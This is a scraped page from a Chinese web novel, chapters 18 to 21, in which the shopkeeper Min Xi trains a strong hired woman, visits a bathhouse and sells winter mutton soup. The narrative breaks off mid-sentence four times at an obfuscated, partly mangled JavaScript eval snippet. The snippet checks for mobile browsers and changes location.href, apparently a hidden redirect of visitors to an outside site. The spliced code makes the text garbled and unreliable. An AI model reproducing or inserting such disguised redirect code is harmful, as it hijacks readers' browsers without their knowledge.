35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15655825|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 闵晞听了哈哈笑出声，没想到这个铁妇人警惕性还挺高。 “你多虑了，就算我想拐卖你那也是要找没有成亲的小姑娘不是？”闵晞解释着：“我听说了你在夫家的英勇事迹，没想你力气那么大，可以把男人按在地上打，可否给我说说事情原委？” 说到这个铁妇人就来兴趣了，足足给她讲了半个时辰这其中的缘由。原来铁妇人嫁过去后，那一家人都不待见她，把什么脏活累活都扔给她做，自己却在床榻上享清福。 有时候让她缝件衣衫，她做不好这种细致活，便补得有些歪扭，那婆母也会骂她。而她名义上的丈夫也从来不帮她说话，找她的时候都是让她干活。 时间一长这铁妇人心里是越来越有怨气，于是某一天等那个废物丈夫因为一件小事而侮辱她的时候，铁妇人终于是忍不住把人给打了。 “我哪知道他那么经不住打，我就那么推了两下他就折了。”铁妇人说完一脸的委屈：“真是不中用。” 闵晞听完只觉得好笑：“你空有这一身力气，确实该还好用起来。”闵晞说这话把她扶了起来：“那你可愿意去我那一试？” 铁妇人想着自己本来也没处去，要是去了活干好了还包吃包住，何乐而不为。 况且这小姑娘看着也不像在诓她。再说要真是骗子，到时候谁卖谁还不一定呢。 思虑一番，铁妇人也就应了。当即收拾好随身的一点零星家当，同闵晞走了。 路过那卖茶的摊主处，摊主见闵晞真把人带回去了，是唉声叹气：“你迟早会后悔的。” 去的路上闵晞得知铁妇人本名杨霜，年二十有二。 “先同你说好，因为你以前没做过活，所以我会慢慢教你。如果你做得不好的话我也不会再雇你，这前三个月也是没有工钱的，只包吃住，你可愿意？” 杨霜听了：“只包吃住也行啊。”她现在可是吃了上顿没下顿的，那茅草房也没什么好住的，夏热冬冷住的人也多，平日里可遭罪了。 等把人带回了早点铺，闵晞见杨霜对自家破败的门面没什么表情，便把人带进了店里面。穿过店铺，闵晞直径走向了角落里的一间小屋子。 “这杂物间不算小，不过就是东西多了点，你且等我收拾一下。”闵晞把杨霜领过来，让她看了看。 杨霜看了看那小屋子，“我对住没什么要求，只要能遮风挡雨就行。对吃也没要求，管饱就行。” 见她不挑剔，闵晞也直白道：“你应当还没吃饭吧？那你等我一下，我去做点吃的来。”然后闵晞让母亲帮忙收拾一下杂物间。 杨爽看见直接掀起了袖子：“陶婶坐着吧，这小屋既是给我住的，那我来打扫就成。” 见她都这么说了，闵晞便让母亲去休息了。而她则热了一些铺子里剩下的吃食，让杨霜先将就着吃了。 杨霜如她想的一样，个头大吃得也多。一连喝了三碗粥才饱。 “我还是第一次吃这么好吃的粥。”杨霜吃完后，还用剩余的馒头蘸着碗里的继续吃，“你们家早点做得真好吃，要是在我们那市场卖，吃的人一定特别多。” “喜欢你就吃多点。”闵晞道：“吃饱了才有力气干活。” 18. 第 18 章 杨霜一点不客气，吃了闵晞日常三倍的量才算吃饱了。但兴许也是饿久了，所以这次吃得多了些。 小屋子也收拾得差不多了，闵晞把那些不用的东西都堆在外面的角落里，想着哪天给卖了。有些还要用的则先找个地方放着。 中途还回家了一趟把家里先不用的衣物给抱了过来，想她先将就用着。 杨霜对这些不挑剔，只问道：“那什么时候开始干活呢？” 闵晞打量了她一番，“明天吧。”不过在此之前闵晞还有一个地方要带她去。 那就是当代的公共澡堂——香水行。 不怪闵晞嫌弃，实在是杨霜天天风吹日晒的，身上难免有点味道，衣服也不太干净。 所以当务之急是先带杨霜去洗洗澡，洗去一身的脏污。 听见闵晞要带她去香水行，杨霜本不太想去，但在听闵晞解释是她给钱后，杨霜是精神抖擞：“那快走吧。” 见她雄赳赳气昂昂的架势，闵晞差点笑出声。 在古代因为普通的平民百姓并不能像王公贵族那般有天天沐浴的条件，自己在家烧水洗的话又很麻烦。所以有不少人会选择去外面的香水行洗澡。 这洗一次的价格也不贵，便宜的三五文，贵的十文也有。除此之外还可以提供搓背、按摩、修脚、茶饮小吃等服务。 当然价格另算。 闵晞带杨霜去了闵达彬经常爱去的一家香水行。负责招待的傧相看见杨霜的体格以及她风尘仆仆的样子，当即就要了闵晞六文文钱，且皂荚和澡巾都要另算钱。 闵晞爽快地给了钱，然后让人带着杨霜进去了。 “这位姑娘可也要试试？”见闵晞没有要进去的打算，傧相推荐道：“姑娘就算身上干净，也可以来体验一下按摩搓背和其他的沐浴。” “其他的沐浴是指什么？” “这就多了，”傧相笑着介绍着：“有盐沐，也有药浴酒浴和花浴，甚至还有牛乳浴呢。” 这牛乳在古代都是稀罕物，古人拿来喝的都没几个，这店里居然还有牛乳浴。不过等闵晞问了问价格还是决定算了。 “那姑娘不如试试咱们的酒浴和花浴，这来体验的人也不少呢。” 傧相说的是实话，来沐浴的女子也不少。只是未婚的女子来得不多，大多来的都是成了婚的。 不过闵晞对这些不在意，她只是有些好奇这古代和现代的沐浴有何不同。便想着试试也无妨，就随便选了一个花浴。 “好嘞三十文，客官里面请。”收了钱傧相把人请了进去，带进了女室。 进了女室，映入眼帘的就是源源不断的热气和女人们的欢声笑语……以及不少白花花的□□。 闵晞只扫了几眼就不敢看了，实在是这结了婚的妇人，实在是风姿绰约，身材比她这豆芽菜好上不上。她怕自己一直盯着别人看被当作变态，索性闭上双眼，拒绝诱惑。 闵晞任由着被带进了单独的小房间里。 “姑娘请先稍等一会儿，马上准备好。”说着傧相退了出去，只留闵晞一人在这。 睁眼看了一圈，闵晞见这小房间地方不大，但该有的东西都有，旁边还放了一个浴桶。 很快两个人就进来，往浴桶倒满了热水，还往里撒了不少五颜六色的花瓣。最后还往里面倒了一些香料，这浴桶里瞬间就飘出一股浓郁的香味。 “姑娘可以了。”准备好后，她们退了出去，顺带放下了帘子，让这里和外面的大澡堂隔绝开来。 见人走了，闵晞也把衣服脱了挂在一旁，接着用脚尖试了试水温，慢慢把身体泡了进去。 水温偏热，但很舒服。花瓣都是现摘的，闵晞摸起来毛茸茸的，闻起来有一股芬芳。 不得不说这泡澡确实舒服，闵晞只在里面躺了一会儿，因为热气的原因她觉得全身的毛孔都给打开了。往日的疲劳也慢慢消散了不少，这样的闲暇宁静让她有些昏昏欲睡。直到一名女子的意外闯入，同时还伴随着不小的动静。 “姑娘就只泡澡吗？”听见外人的声音闵晞马上睁开双眼，警惕地看向她。 那老妇人却不作其他，只看了一眼就道：“姑娘年纪轻轻，怎么看起来这般劳累？” “啊？” 老妇人继续着：“姑娘你看你这身体，”说着她上前捏了捏闵晞的肩膀：“怎么这般僵硬？你这应当是操劳过度，里面的筋肉都堵塞了。” “啊？” “再看看你这脸色也是，怎么这般蜡黄？是不是晚上睡眠也不好，还总起夜？” “这都是因为你肩颈堵塞严重导致，长期下去不仅会导致头痛，记性变差。严重的话还会导致气血不通，失眠多梦，眼睛干涩呢。” 闵晞摸不着门道，还捉摸着自己白天事可多了，晚上回去一沾床就睡了。 那妇人接着道：“还有你这背也是，怎么小小年纪就驼背了，肯定是平时姿势不对。这五脏六腑的经脉可都连在咱们脊椎上的，你这背也得好好按按呢。” “怎样？要不要试试我的按摩手法，那可是一流的。”老妇人看着两眼迷茫的闵晞缓缓道：“价格保证最低。” 说着闵晞被她拉了起来，披上了一条澡巾，然后带到了一旁的床上，示意她坐下。 在之后，闵晞忍受了长达半个时辰的非人道按摩。老妇人手劲之大，每每都把她按得大叫出声。老妇人还说你这就是太堵了所以才会痛，要多捏捏，等捏开了就没那么痛了。 于是一次美好的花浴后，闵晞收获了一身紫红色的身体和额外给的三十大文的按摩费。 等出了门，见到了在门口在等她的杨霜后，闵晞才意识到自己好像陷入了消费陷阱了。就这么被忽悠着多给了钱。 可恶真是个黑店，闵晞心里默默吐槽着。估计是看她年轻拉不下脸所以才给她强行按摩。 下次再也不来了！ 回了家后闵晞把这事给陶淑苑说了，陶淑苑笑着：“你啊就是太年轻了，所以才被忽悠了。” “我哪知道她那么强势，简直就是强买强卖啊！”闵晞不满道，嘴也撅起来了。 “好了，也没花太多钱，就当是个新体验。”陶淑苑安慰着：“不喜欢下次就不去了。” 虽然闵晞再也不想去了，但杨霜洗了一次后却很舒坦。因着很久没洗澡了，她这次洗了好久，连头发都洗了三回。等出来的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662360|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个人清清爽爽，看着十分干净，就连肤色都没那么黑了。 当时闵晞只觉着自己被忽悠了，都没认真看杨霜。到了第二天去铺子里的时候，她看见穿着干净衣服，身上香香的杨霜，还愣了一会儿。 这还是昨天那个油腻腻的铁妇人吗？ 这脸洗干净了也挺清秀的啊。 面对闵晞的呆愣，杨霜显然有些不好意思，还害羞了一下。 不过闵晞很快回过神来，准备开始对她进行教导。 “对，就这样，要多揉几次，面才会更筋道。” “要是觉得太干了，那就再加点水继续揉。” “这样做好后，放在一旁等上一会儿，你就会发现面团变大了。” 闵晞教得仔细，杨霜也听得认真，所以在她的指导下，杨霜也学得有模有样。偶尔有没做好的地方，闵晞也会教她。 等到第一笼蒸的馒头出锅时，闵晞让她吃了第一个。 “味道如何？” 杨霜吃了那加了酒酿的馒头，只觉得异常美味。 “好吃，这馒头甜甜的很好吃。” 闵晞见她把普通馒头都吃得如此有滋有味，让她凭空生出了一种这是在吃山珍海味的错觉。 “好吃你就多吃点。”闵晞见她吃得快，又让她喝了点豆浆顺顺，免得呛着。 “以后你要学得还多着呢，慢慢来。” 自从店里多招了一个人后，陶淑苑觉得身子骨都轻松了不少。虽然要对杨霜从头教起，但她也知道这份工作的来之不易，每次都学得很认真。基本两三次下来她就做得和陶淑苑差不多了，只不过在精细度上还是比闵晞差了点。但她也不气馁，有时候等中午闭店了也在自己琢磨练习。 那股子干劲真是无人能敌，让闵彦都自叹不如。 之前他还问过闵晞为什么要找这样一个母老虎回来，看着就吓人。 闵晞当即批评他：“你怎么能随意对女子的外貌评头论足呢？实非君子所为。” 闵彦听了有些委屈：“我不也就只和你说说嘛。再说这个杨霜可是恶名在外，大家都这么说她，怎么我说就不行了。” “话是这么说，但她已经在我们店里当差，大家都是一起共事的伙伴你自然不能再这么评论别人。”闵晞一字一句地教育着：“而且平心而论，别人的努力你也都看在眼里，你再看看你自己呢？” 眼见回旋镖又扔到了自己头上，闵彦是再不敢言语，就怕闵晞又教育他，便飞速擦起了桌子，离闵晞拉开了距离。 见他这副没担待的样子，闵晞也只叹了口气。自己家这个哥哥，真是和爹爹一个模子刻出来的。 短短十日里，闵晞就完成了两件重要的事情，她的心里也放松了不少。自然，存的钱也少了不少。 不过日子就是这样，该过还得过，该花还得花。太节约了其实也不太好。 闵晞计划着剩下的钱和后面的事，心里已经有了大致的盘算。 关于杨霜和大呆的事，闵晞也趁着给符黎送饭的时候讲给了他听，他也觉得甚是有趣，还说有空也想去看看大呆。 “那容易，等我哪天牵过来公子就可以看了。” 19. 第 19 章 经过一段时间的教学后，杨霜已经把闵晞教给她的知识学了个七七八八，几乎已经不用她再教什么，只需再慢慢精细就好。 有时闵晞见她包包子，边缘的褶总是包不上，又见她十分较真，一副包不好誓不罢休的样子，便想过去帮帮她。但杨霜十分强势，一个劲说不要，只说自己再多练练就好，不需要帮忙。 看杨霜态度如此严谨，闵晞越发觉得自己找对了人。就连本来不看好的闵彦，都渐渐对她产生了改观。 闵晞心里也想着，等这个月过了就给她提前转正。 时间快步走着，原本枯黄的叶子纷纷掉落，天也黑得越来越早。就连一向习惯早起的闵晞也难得赖床了几次，末了还是被母亲给喊了起来，穿上了厚厚的衣服。 当街边逐渐弥漫起了羊肉和糯米的香味时，这些种种都让闵晞想起了一件事，那就是冬至快到了。 作为古代最重要的节日之一，这一天可谓大有讲究。 至于有什么讲究，那肯定就是吃了。 一般来说，这冬至的吃食南北各有不同。北方一般都会选择吃饺子和羊肉汤，而南方则是汤圆和年糕一类的食物。除了这些也会有糯米饭、八宝饭、冬酿酒一类的食物。 闵晞都喜欢吃，但像这种天冷的时节，还是吃一些滋补之物对身体最好。 像羊肉汤就很不错。 不仅驱寒暖身，还可以增强免疫力。对于身体虚弱的人，可以起到补气血，健脾胃的作用。对闵晞这个小身板来说，更得多吃点肉补补。 于是闵晞同母亲商议了，在冬至这前后十天，店里都会做羊肉汤供大家品尝。冬至当天，则免费请来店里的人喝上一碗。 事情决定后，闵晞亲自去集市上的各大肉铺溜达了一圈，打算先给家里人做来试试。 她左挑右看，最后选了一只嫩嫩的小绵羊的后腿肉让人给改刀剁成块。 回家的路上闵晞还路过王姨的店铺，同她打了招呼后，王姨问她怎么买了这么多羊肉？ 闵晞直言说过两日店里会做羊肉汤，若王姨喜欢羊肉的话可以来试试。 “又有新菜了？成，到时候我一定捧场。” 到了家闵晞先把生姜和大葱都先切好备用，再将羊肉放入锅中加适量的清水浸泡上一个时辰，中途再撒几粒花椒和适量清酒。目的是去除羊肉的血水和腥味。 时间到了把羊肉捞出，再重新倒水将羊肉下锅焯水。这时也要放适量的生姜和少量花椒，以及一块陈皮。 水煮开后要仔细着把浮沫给一点点撇去，免得汤被杂质污染。这步完成后，闵晞将缩水不少的羊肉捞出来放进了砂锅里，加入提前准备好的热水和葱段，花椒，姜片等香料，以及一点点的茴香及白芷继续炖煮。 等水开后转为中小火煮上一个时辰左右。炖的时候要保持锅里一直是沸腾的状态，要不然火小了则水油不融。不仅熬不出羊肉的香味，反而会失了原有的营养。同样香料也是，料多了则冲鼻，料少了则盖不住羊膻味。 这两个步骤都是决定羊肉汤是否好喝的关键点。 等待的时间里闵晞把山药和红萝卜都切成滚刀块备用。待煮的时间差不多了，羊肉的香味也慢慢随着砂锅飘了出来。 闵晞这时再打开砂锅盖子一看，羊肉汤已经变成了漂亮的奶白色。 闵晞这时把蔬菜给放进去，接着盖上盖子又等上了一刻钟，等出锅时再撒上少许盐和葱花。 一道肥而不腻，肉质鲜嫩，汤底鲜香的羊肉汤就做好了。 做到这里羊肉汤已经可以喝了，但因为闵达彬口重，所以闵晞还特意为父亲调制了一碗用蒜末、生抽、陈醋和少量茱萸粉做成的蘸酱配着吃。 闵晞趁机先尝了一小碗，果然和她记忆中的味道大差不大，十分好喝。她还记得以前到了冬天，家里人都图方便直接从外面买来煮好的羊杂汤，拿回家后家人会再拿个电磁炉出来把羊杂汤放进去继续煮，同时再往里面放土豆和粉条一类的配菜继续吃。 那时候一家人围着电磁炉其乐融融吃着热气腾腾的羊肉汤，一口热汤一口嫩肉，别提有多美了。 等晚上吃饭的时候，闵晞把杨霜也叫了过来，让她一起吃。 杨霜平日里鲜少吃肉，这会有肉吃自然是很开心。 她先是喝了一口羊肉汤，发现汤味清香而不膻腻，香味十足。再一看汤底色如牛乳，看着就十分有食欲。遂追问闵晞是怎么做的？ “你这羊肉汤可比我外面吃到的好吃多了，这是怎么做的？” 闵晞解释着因为绵羊肉比山羊肉肥肉含量高，所以做出来的羊肉汤会更细腻可口。有些店家是用山羊肉熬的汤，所以一来味道就差了。 再有这道羊肉汤用料极简，本身没有添加一滴油，完全依靠羊肉本身的香味调味，味道自是鲜美无比?。 杨霜听得懵懵懂懂，听了闵晞那么长一串解释后末了直道：“确实好吃。”说着又吃了一大块炖至软烂的羊肉。 闵晞看她吃得那么香，连带着自己也多吃了两块肉。 不仅仅是她，其余三人也吃得很开心。 “晞儿这山药炖得香甜软糯，入口即化，而且一点没染上羊肉的味道，真是好吃。” 陶淑苑吃了是很是喜欢，相比起肉和汤，她更喜欢吃山药。 “我觉得这汤好喝，比我以前喝过的羊肉汤都好喝！”闵达彬喝了一大碗后，又给自己倒了一碗：“以前怎么没见晞儿做过。” 闵晞撇撇嘴：“爹你忘了我们家以前有多穷了吗？要不是因为你和闵彦，我们早就过上这样有肉吃的日子了。” 听见自己又被点名，闵彦这刚吃了一半的羊肉感觉也没那么香了，只闷声闷气地埋怨了两句，但筷子依旧不停。 羊肉汤试做成功后，闵晞后面几天在店里做好了拿出来卖。这肉汤的香味在巷子里传得极快，有些嘴馋之人甚至跟着味就过来了。得知是闵晞新做的，纷纷要来尝上一碗。吃过的人也无不喜欢。 “喜欢就常来，”闵晞给他们端到桌子上：“最近这十日都有，会一直供应到冬至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662361|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后。期间店铺也会一直开到下午才关门。” “只卖这十日吗？”一位常来的客人问道：“你这羊肉汤如羊脂玉一般色美味香，怎就卖短短几日？” 闵晞笑着解释：“客人怕不是忘了我们店是做早点铺的，平常来的人就已经不少了，这要是再做其他的菜，那是忙都忙不过来。” 听了这话，那人露出一副可惜的表情：“哎，那我这几天可得多来喝几次。”说着把碗里最后一口喝了，又道：“再给我添上一碗吧，另再加个馒头。” 羊肉汤卖出去后，店里也有不少人来打包带走的，为的就是和闵晞之前一样把肉汤拿回家，再买些配菜自己煮，那样就可以多吃几天。 这几天闵晞总见一个半大的小女孩过来打包羊肉汤，她手里捧着一个大大的陶瓷盆子，比她的脸都要大上一倍。 “你怎么一个人来呢？爹爹呢？”闵晞有些担忧。 “爹爹和爷爷都在忙呢，他们喜欢吃羊肉汤，所以我就想给他们带一点回去。” 说着好像怕闵晞不给她，还从兜里掏出了钱：“看，我带了钱的。” 闵晞看小女孩肉乎乎的脸只觉得好笑，便给她打了。然后转头对闵彦道：“你帮这小女孩把汤带回去吧，我怕她端着洒了。” 闵彦见小女孩确实年纪不大，也就顺手帮她抱了回去。回来的时候闵彦道：“原来那小女孩是陈老匠的孙女。” 陈老匠的名字闵晞有听过，是这一片有名的手艺人。旁人都说他从十五岁起就跟着家里干这行了，周边人也都知道他手艺好。闵晞之前为着自己这脏乱差的门头曾经了解过一点，也知道陈老匠手艺是这附近最好的了。但了解过价钱后无奈囊中羞涩，所以还得再攒上一攒。 没想这几天遇到的小女孩竟是他的孙女，闵晞回想了一下觉得小女孩模样还挺乖巧的。 随着冬至的临近，来店里喝羊肉汤的人是越来越多。闵晞也给符黎送过一次，他当即就被折服了。 “这羊肉汤色泽丰盈，喝下去整个身体都热乎了。这羊肉已被炖煮软烂，刚入嘴就化了，实在是好吃。” 见他喜欢，闵晞有种满足感，但面上却不显：“喜欢就好，回头你让双瑞再买些菜煮在里面，那味道也是极好的。” “谢谢闵老板提醒，在下正有此意。” 不知道是不是符黎对学院里的人也说了这羊肉汤的事，他吃完后，闵晞的店里居然也来了不少学子吃这羊肉汤。 年轻的男子食量大，要了一碗都不够吃，多数都是要两碗，甚至还有配馒头包子的。 其中一人吃了道：“这么好吃的羊肉汤和包子，要是可以在公厨里吃到就好了。” 所谓的公厨就是各大学院里专门师生们供应伙食的地方。闵晞虽然没去吃过，但从他们怨声载道的样子来看，想来那公厨的味道确实不太好。 “哎咱们的博士自有夫人和奴仆为其做饭，哪里还需要吃公厨的饭，自然也就不知道咱们的伙食之差。” “还是咱们这些学子惨啊。” 20. 第 20 章 自古以来，所有的学生对食堂无一不是怨声载道，没想这次闵晞亲眼所见，看着那些学子忧愁的面容闵晞只觉得好笑。 “各位公子如果喜欢可以常来。”闵晞把菜帮着端过去后，对他们道：“咱们店的羊肉汤只是暂时供应，主打的还是各类早点粥类。公子们喜欢可以多买带回书院吃。” 这番话像是点醒了他们，等吃完汤后他们纷纷要了不少带回去，也让闵晞又小赚了一点。 这天过后，闵晞店里不断有学子来吃汤。吃完了还要带上不少馒头包子走。这样的情形是让闵晞忙得几乎停不下来。基本上是每蒸好一笼，就会很快被卖完。 因为这几天忙碌，闵晞有一天甚至忘了要给符黎去送饭。 等符黎亲自上门之时，闵晞才敲了敲脑袋。 哎哟，这么大一个事他怎么忘了？ “符公子……”闵晞面带歉意地迎上来，“实在是不好意思，最近店里来的人太多了，今天不知怎么回事，就把你的给忘了。” 符黎今日穿着靛青色的棉袍，里面则穿着缀着兔毛的灰杉儒服，脚上是一双厚厚的炭黑色如意靴。 这身暖和的打扮让他整个人看起来都圆了一圈，不过被兔毛围着的那清俊的张脸反倒显得更小了点。 也更秀气了一点。 “不碍事的。”符黎解开棉袍坐下：“最近天冷了身子也冷，走动走动反倒会让身子暖和点。” “而且外面风大天寒，也不好叫你一个小姑娘跑。”符黎喝了口热茶，缓了缓身子：“我这次来也想说以后就不麻烦闵老板亲自跑了，我看这天应该再不久就要下雪了，那时候更是麻烦，我叫双瑞来就行。” 见他都这么说了，闵晞也放宽了心：“成，那就，麻烦双瑞了。” 双瑞在旁点点头，“这是应该的。” 见话聊完，闵晞双手叉腰：“那为了向公子赔不是，今天我给公子做道新菜吧。” 听见有新菜，闵彦也围了过来：“那是什么？” “你啊你，干活去。”闵晞把他推开：“到时候会给你留一口的。” “好啊，那我就静候了。” 闵晞今天做的这个菜简单，就是一道炒馒头。 见蒸笼里还剩了些馒头，闵晞便拿出来手掰成块状放在一边，又打了一个鸡蛋打散把馒头快放进去均匀裹上每一层鸡蛋液。再在锅内倒入油，把馒头块放进锅里小火炒至两面金黄，盛出备用。接着放入两个鸡蛋，等鸡蛋底部快凝固时迅速翻炒滑散，再拨到一边，放入小葱和蒜末炒香。 再往里倒入各种配菜，像是黄瓜丝、菘菜丝和胡葱丝，也就是洋葱，以及切成片的猪肉一起翻炒。 看准火候再往里加入两勺生抽，一勺老抽和少许盐、茱萸粉和花椒粉把调料炒匀。这个时候就可以把馒头块再放进去一起炒上一会儿，裹上了调料的味道，临了撒上一点白芝麻，就可以关火出锅了。 光有一道菜闵晞觉得还不够，又拿葵菜，也叫冬寒菜，做了一道葵菜肉丸汤。 在冬季食材少的情况下，这葵菜喜凉不耐温，嫩叶和茎叶都可以吃，也就成了冬天饭桌上的一道家常菜。 两道菜做好后，闵彦端给了他们，符黎只见原本白色的馒头被掰成了块状，又经过油脂和鸡蛋的加工，变成了诱人的金黄色，看着格外有食欲。 等吃了一口后，符黎发现这炒过的馒头不像平常的松软蓬松，而是外酥里嫩，每一块馒头都吸满了油脂，咬一口都会发出清脆的响声。又因锅气的加持，让刚出锅的炒馒头是冒着热乎乎的白气，而那些在冬日里显得蔬菜都脆嫩了几分。 符黎和双瑞吃了连连称赞，一旁的葵菜肉丸汤因只放了些许盐调味，所以喝起来格外清爽，完美地中和了炒馒头的一点油荤味。 符黎和双瑞都是第一次吃这样的菜，很是新奇。闵彦也没吃过，尝了两口也大悟道：“没想到普通的白面馒头竟然也能做得如此有滋有味。” 闵晞不想他们如此喜欢，本来只掰了三个馒头想给大家尝尝鲜。哪知道他们如此喜欢，不得已闵晞又多炒了一些，顺带着招呼杨霜过来一起吃。 “哥，帮我去地窖了再拿根黄瓜来。”闵晞曾在冬天来临之前，把一些菜放进了自家的地窖里保鲜。只不过保鲜的菜久了也没有夏天的新鲜，就像这黄瓜，味道不如夏季的爽脆。 所以还是早点吃了吧。 但吃饭的几人一点不介意，只要有好吃的，他们来者不拒。 因为炒馒头鲜艳的颜色和香味，一时间惹得其他进来的人都嚷着要吃这道菜。只可惜后厨也没那么多蔬菜了，闵晞只能一一赔笑，说这是给自家员工吃的菜。 “闵老板可待人真好，连自己铺子的帮厨都吃得这么好。”一妇人看着杨霜壮实的身形，咋舌道：“只是怕再这么吃下去，我都怕把闵老板吃垮了。” “就是，闵老板这么机灵一个人怎么找了这样一个又懒又馋的人？”另外一桌的妇人看见杨霜的模样，也是颇有微词：“也不怕到时候不是她帮你干活，而是你白白养着她。” 闵晞无语，这个朝代的人习惯以瘦为美，那女子要是胖上一点，都会被冠上好吃懒做，游手好闲的形象。但如果是男子胖的话，他们也不会多说什么，最多说这男的结实有肉，能干活。 怎么差距就这么大？ 一个人的高矮胖瘦那基本都是遗传父母，自己又怎容易轻易去改变。 闵晞听了不太满意，下意识看向那两人，发现一个是住在集市附近的邓媒婆。这个邓媒婆闵晞听母亲说过不是什么好人，好像为了钱便乱点鸳鸯谱。别人家养得好好的平头正脸的未婚女子，总是会被她拿出去介绍一些歪瓜裂枣的男人。也不知道私下收了多少黑心钱。 另一个则是隔了闵晞一条巷子的街坊，好像姓张还是章来着，反正闵晞和他们不熟。但她隐约记得这家生了两个儿子，但好像都不太有出息。 不过来者是客，闵晞也不好和她们吵起来，也就咽下了那口气，想去安慰一下杨霜。谁知符黎却转头对那两人道：“俗话说病从口入，祸从口出。两位长辈可知恶语胜过刀剑，平日里还是要慎言啊。” 别看符黎平日里总是笑着一张脸给人春风拂面的感觉，这会子脸冷了下来倒也多了几分厉色。 那两位妇人见符黎不赞同他们的话，本想多说两句，但又看符黎冷着一张脸，再没方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701939|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才的柔和，竟也不敢再顶嘴。只得匆匆喝完手里的羊肉汤，齐齐离开了铺子。 等妇人们走后，符黎看向杨霜：“别往心里去。” 杨霜平日里这等闲言碎语听多了，这种不痛不痒的话她一点也不在意。只给闵晞回了个眼神，然后抱着一碗炒馒头回后厨了。 见她们走了，闵晞也叹了口气：“开店久了，总是会遇到各种人。” 符黎也道：“我觉得杨霜很好，你之前说过她学得很快，我今日见她一直在后厨忙碌，她一时半刻都没有停下来休息过，当真是勤快。” “所以外人的话你不用在意。” 闵晞当然不会在意这些小事，“不过话又说回来，”闵晞捏着下巴，若有所思：“最近来店里的学子也多了，我看有不少都是你们学院过来的。你说他们是怎么找到这么偏的地方的？” 观澜书院距离他们这将近半个多时辰的路程，加上第一次来如果对这里不熟悉的话，找都要找上一会儿。闵晞觉得就算是吃货也不至于跑这么远来喝一碗羊肉汤吧？城里大酒楼做得好的应该比比皆是。 符黎本来在喝葵菜汤，听她这么一说，忽然呛了一下。随后他咳了咳，问了问那些学子的样貌。等问完了符黎才失笑出声：“原来是他们啊。” “看来公子认识？” 符黎老实告诉了闵晞这件事的原委。原来是因为闵晞之前做的羊肉汤好喝，符黎就和双瑞经常在家里吃。这冬日的衣服又不会经常洗，所以符黎身上则自然而然带着一股肉汤味。等去了学院，这同在一起的学子闻见了符黎身上鲜美的肉汤味，自然也就起了心思，纷纷问他是哪家店的羊肉汤。 “我告诉了他们位置，并且强调说这家店有点远，只是想不到就算他们住得那么远，也都会过来吃。”符黎听闵晞说了后，连尾音都带着笑意。 “看来还是闵老板这羊肉汤熬得太好吃了。怪不得之前他们邀我同去吃羊肉汤，我以为就在附近的店吃，本来答应了。但那日被博士留了堂，就没去。” 听了他的解释，闵晞终于抓到了这几日让她如此忙碌的“罪魁祸首”。不过好在钱也多赚了不少，她就勉为其难不和他计较了。 冬至的那一天，因为是免费喝汤，来的人特别多，甚至还有人排队来喝。那队伍形成一串长的居然一眼望不到头。闵彦当时抽空出去看了一圈，居然都排到大路上去了。 结果好巧不巧，那天闵晞正在店里忙着，忽然听得门外大家都在惊叹些什么。等她出门一看，发现灰蒙蒙的天上正淅淅沥沥飘着小雪花。 初雪降临如棉花般轻柔，只可惜只断断续续落了一点就没有了，甚至都没有在地上凝起来。 但这对大家来说依然是个好兆头。 等这段时日忙过后，眼瞧着还剩最后一天，来的人也是特别多。 等闵晞从天黑忙到天黑，直到最后一碗汤都没了，最后一位客人也走了，她已经是累得连腰都要直不起来了。就连自觉身体结实的杨霜也感到了疲惫，想赶忙倒头就睡。 忙完这一茬后，闵晞闭店歇了两天，在家里睡了小一天。要不是陶淑苑怕她有什么事把她给摇醒了，她都觉得自己还能继续睡。 21. 第 21 章 这次羊肉汤的事情一出，闵晞越发觉得店里的客人变多了。而且都过了好几天，还是有客人来问，说想喝羊肉汤。但闵晞不想再那么累了，也就拒绝了。 这限定的东西还是等明年再来吧。要是天天喝的话可能也会觉得没那么好吃了。 同符黎说过此事后，他也直言：“闵老板做得好吃的，所以就算店远，但就同酒香不怕巷子深是一个道理。就算远些，大家也想来吃。” “不过闵老板如果愿意开到大街上去，甚至是城中的地方，那想来赚的钱应该会翻上一两倍。” 